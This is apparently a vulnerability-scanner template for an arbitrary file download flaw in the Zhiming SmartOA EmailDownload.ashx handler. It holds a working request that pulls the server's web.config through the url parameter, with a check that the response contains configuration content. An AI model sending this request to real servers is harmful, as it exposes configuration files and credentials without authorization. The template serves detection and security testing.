smartoa-emaildownload-file-read: 智明 SmartOA EmailDownload.ashx 任意文件下载漏洞

id:  smartoa-emaildownload-file-read

info:
  name: 智明 SmartOA EmailDownload.ashx 任意文件下载漏洞
  author: zan8in
  severity: high
  description: |
    智明 SmartOA EmailDownload.ashx文件存在任意文件下载漏洞，通过漏洞可下载服务器上的敏感文件，查看敏感信息
    app="智明协同-SmartOA"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E6%99%BA%E6%98%8EOA/%E6%99%BA%E6%98%8E%20SmartOA%20EmailDownload.ashx%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: GET
      path: /file/EmailDownload.ashx?url=~/web.config&name=web.config
    expression: response.status == 200 && response.body.bcontains(b'<configuration>') && response.body.bcontains(b'<appSettings>')
expression: r0()